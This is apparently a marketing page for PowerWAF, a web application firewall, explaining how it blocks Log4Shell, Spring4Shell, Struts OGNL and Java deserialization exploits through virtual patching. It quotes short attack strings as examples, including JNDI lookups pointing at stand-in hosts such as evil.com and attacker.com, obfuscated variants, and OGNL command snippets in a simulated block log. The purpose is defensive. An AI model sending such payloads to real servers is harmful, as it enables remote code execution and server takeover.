When Known Vulnerabilities Become Active Exploits
Log4Shell shook the internet in December 2021. A single JNDI lookup string — ${jndi:ldap://attacker.com/exploit} — injected into any logged input could give an attacker full remote code execution. The vulnerability existed in Apache Log4j 2, embedded in millions of Java applications, from enterprise platforms to Minecraft servers. Exploitation began within hours of disclosure, and attackers are still scanning for unpatched systems today.
But Log4Shell is just one example. Spring4Shell (CVE-2022-22965), Apache Struts RCE (CVE-2017-5638), and Java deserialization exploits follow the same pattern: a disclosed vulnerability, a public exploit, and a race between attackers and defenders. Virtual patching at the WAF level stops the exploit immediately — buying you time to patch properly.
How Attackers Exploit Known CVEs
These are the most dangerous CVE exploitation techniques targeting web applications today.
Log4Shell JNDI Injection
Injecting ${jndi:ldap://} into any logged field — headers, parameters, user agents — to trigger remote code execution via Log4j.
${jndi:ldap://evil.com/exploit}
Spring4Shell RCE
Exploiting Spring Framework's data binding to manipulate the classLoader and write a web shell to the server via crafted HTTP parameters.
class.module.classLoader.URLs
Apache Struts Exploits
Targeting Struts OGNL expression injection (CVE-2017-5638) through manipulated Content-Type headers to achieve remote code execution.
%{(#cmd='id').execute()}
Deserialization CVEs
Sending crafted serialized objects to Java endpoints (Commons Collections, Jackson, Fastjson) that execute arbitrary code upon deserialization.
rO0ABXNy... [malicious gadget chain]
Library Zero-Days
Exploiting newly disclosed vulnerabilities in popular libraries before vendors release patches — targeting the window between disclosure and remediation.
CVE-202X-XXXXX → exploit within hours
How PowerWAF Stops CVE Exploits
Five protection layers that shield your applications from known and emerging vulnerabilities.
JNDI Pattern Blocking
Deep inspection of every request field for JNDI lookup patterns — including obfuscated variants like ${${lower:j}ndi:}, nested lookups, and URL-encoded payloads.
CVE Virtual Patching
Pre-built rules for critical CVEs deployed automatically. Blocks exploitation of Spring4Shell, Struts OGNL injection, and hundreds of known vulnerabilities without code changes.
Payload Deobfuscation
Decodes URL encoding, Unicode escapes, Base64, nested expressions, and multi-layer obfuscation before analysis — catching evasion techniques that bypass simple pattern matching.
Threat Intelligence Feed
Continuously updated rules from CVE databases, exploit-db, and active threat monitoring. New virtual patches are pushed to all instances within hours of critical disclosures.
Serialization Guard
Inspects serialized payloads for known gadget chains, dangerous class instantiations, and suspicious object patterns — blocking Java deserialization attacks at the edge.
Protected in Minutes, Not Months
No code changes. No emergency patch cycles. No downtime.
Point DNS
Route traffic through PowerWAF by updating your DNS records. No server changes needed.
Instant CVE Protection
PowerWAF immediately blocks Log4Shell, Spring4Shell, and all known CVE exploits in real time.
Patch on Your Schedule
Virtual patching buys you time. Plan and test vendor patches properly while your app stays protected.
Critical for Java applications, Spring-based services, and any system running vulnerable libraries that can't be patched immediately.
See PowerWAF in Action
Real-time view of CVE exploit attempts being detected and blocked at the edge — before they reach your application.
${jndi:ldap://evil.com/x} in User-Agent${${lower:j}${::-n}di:rmi://c2.io/a} in usernameclass.module.classLoader.URLs[0]%{(#cmd='whoami')} in Content-TypeSimulated log showing how PowerWAF blocks CVE exploitation attempts while allowing legitimate traffic through.
Proven Protection at Scale
Real-World Scenarios
Log4Shell Zero-Day Response
When Log4Shell was disclosed, organizations scrambled to identify every Log4j instance across their infrastructure. PowerWAF customers were protected within hours — JNDI injection patterns were blocked at the edge while teams mapped their exposure and planned remediation.
Spring Framework Upgrade Blocked by Dependencies
A Spring Boot application can't upgrade to a patched version because critical dependencies haven't been updated yet. PowerWAF's virtual patch blocks Spring4Shell exploitation attempts while the development team waits for compatible library releases.
Enterprise Java Platform with Complex Patch Cycles
Large enterprises running Java EE application servers need weeks or months to test and deploy patches. PowerWAF provides immediate protection against known CVEs, letting security teams enforce patching SLAs without leaving the application exposed.
Protects applications built with
Frequently Asked Questions
What is Log4Shell (CVE-2021-44228)?
${jndi:ldap://attacker.com/payload} into any logged input — HTTP headers, form fields, user agents, or URL parameters. When Log4j processes the string, it fetches and executes remote code, giving the attacker full control of the server. It received the maximum CVSS score of 10.0 and affected millions of applications worldwide.How does PowerWAF block Log4Shell attacks?
${jndi:ldap://}, obfuscated variants like ${${lower:j}ndi:}, nested lookups, URL-encoded payloads, and Unicode escape sequences. PowerWAF strips or blocks these payloads at the edge before they ever reach your Log4j instance, providing immediate protection without patching.Can PowerWAF protect against Spring4Shell (CVE-2022-22965)?
class.module.classLoader payloads, parameter binding attacks targeting Spring MVC, and related RCE attempts — shielding your Spring applications without requiring framework upgrades.Do I need to patch my servers if I use PowerWAF?
How quickly does PowerWAF add rules for new CVEs?
What CVEs does PowerWAF protect against?
Explore More WAF Protection
PowerWAF covers the full OWASP Top 10. Explore protection for other attack categories.
Block CVE Exploits Before They Hit Your Server
No credit card required. No code changes. Virtual patching active in under 5 minutes.
Limited free plan spots available